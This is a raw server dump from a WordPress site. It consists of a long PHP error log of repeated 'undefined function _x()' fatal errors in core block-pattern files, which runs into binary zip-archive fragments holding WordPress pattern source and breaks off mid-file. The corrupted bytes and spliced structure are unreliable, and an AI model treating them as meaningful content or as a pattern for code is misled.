#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[24-Aug-2025 00:16:21 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[27-Oct-2025 15:50:35 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[27-Oct-2025 15:50:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[27-Oct-2025 15:51:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[27-Oct-2025 15:54:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[27-Oct-2025 15:55:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[27-Oct-2025 15:56:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[27-Oct-2025 15:58:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[28-Oct-2025 19:05:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[28-Oct-2025 19:05:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[28-Oct-2025 19:05:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[28-Oct-2025 19:05:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[28-Oct-2025 19:06:26 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[28-Oct-2025 19:07:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[28-Oct-2025 19:08:30 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[28-Oct-2025 19:14:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[28-Oct-2025 19:19:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[28-Oct-2025 19:20:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[28-Oct-2025 19:23:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[28-Oct-2025 19:24:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[28-Oct-2025 19:27:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[28-Oct-2025 19:29:26 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[28-Oct-2025 19:48:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[28-Oct-2025 19:49:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[28-Oct-2025 19:51:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[28-Oct-2025 19:54:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[28-Oct-2025 19:57:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[28-Oct-2025 20:02:17 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[28-Oct-2025 20:04:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[29-Oct-2025 22:32:39 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[29-Oct-2025 22:32:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[29-Oct-2025 22:32:42 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[29-Oct-2025 22:32:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[29-Oct-2025 22:33:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[29-Oct-2025 22:37:06 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[29-Oct-2025 22:39:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[31-Oct-2025 17:15:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[31-Oct-2025 18:10:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[31-Oct-2025 19:55:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[31-Oct-2025 20:18:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[31-Oct-2025 20:26:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[31-Oct-2025 20:58:38 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[31-Oct-2025 23:37:20 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[01-Nov-2025 04:40:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[01-Nov-2025 04:40:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[01-Nov-2025 04:41:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[01-Nov-2025 04:43:04 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[01-Nov-2025 04:44:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[01-Nov-2025 04:46:11 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[01-Nov-2025 04:47:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[01-Nov-2025 19:31:40 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[01-Nov-2025 19:32:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[01-Nov-2025 19:35:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[01-Nov-2025 19:36:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[01-Nov-2025 19:38:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[01-Nov-2025 19:43:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[01-Nov-2025 19:44:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[02-Nov-2025 11:20:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[02-Nov-2025 11:21:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[02-Nov-2025 11:21:04 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[02-Nov-2025 11:26:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[02-Nov-2025 11:29:13 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[02-Nov-2025 11:53:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[02-Nov-2025 11:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[02-Nov-2025 11:57:30 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[02-Nov-2025 11:58:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
[02-Nov-2025 11:59:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[03-Nov-2025 08:41:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-standard-posts.php on line 9
[03-Nov-2025 08:41:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-offset-posts.php on line 9
[03-Nov-2025 08:42:04 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-large-title-posts.php on line 9
[03-Nov-2025 08:42:46 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-small-posts.php on line 9
[03-Nov-2025 08:44:17 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-medium-posts.php on line 9
[03-Nov-2025 08:51:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/social-links-shared-background-color.php on line 11
[03-Nov-2025 08:53:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _x() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php:9
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-patterns/query-grid-posts.php on line 9
PK�Vd[J�O��query-small-posts.phpnu�[���<?php
/**
 * Query: Small image and title.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Small image and title', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query">
					<!-- wp:post-template -->
					<!-- wp:columns {"verticalAlignment":"center"} -->
					<div class="wp-block-columns are-vertically-aligned-center"><!-- wp:column {"verticalAlignment":"center","width":"25%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:25%"><!-- wp:post-featured-image {"isLink":true} /--></div>
					<!-- /wp:column -->
					<!-- wp:column {"verticalAlignment":"center","width":"75%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:75%"><!-- wp:post-title {"isLink":true} /--></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns -->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
PK�Vd[D�����query-grid-posts.phpnu�[���<?php
/**
 * Query: Grid.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Grid', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":6,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"flex","columns":3}} -->
					<div class="wp-block-query">
					<!-- wp:post-template -->
					<!-- wp:group {"style":{"spacing":{"padding":{"top":"30px","right":"30px","bottom":"30px","left":"30px"}}},"layout":{"inherit":false}} -->
					<div class="wp-block-group" style="padding-top:30px;padding-right:30px;padding-bottom:30px;padding-left:30px"><!-- wp:post-title {"isLink":true} /-->
					<!-- wp:post-excerpt /-->
					<!-- wp:post-date /--></div>
					<!-- /wp:group -->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
PK�Vd[r��((query-standard-posts.phpnu�[���<?php
/**
 * Query: Standard.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Standard', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query">
					<!-- wp:post-template -->
					<!-- wp:post-title {"isLink":true} /-->
					<!-- wp:post-featured-image  {"isLink":true,"align":"wide"} /-->
					<!-- wp:post-excerpt /-->
					<!-- wp:separator -->
					<hr class="wp-block-separator"/>
					<!-- /wp:separator -->
					<!-- wp:post-date /-->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
PK�Vd[�,��query-medium-posts.phpnu�[���<?php
/**
 * Query: Image at left.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Image at left', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query">
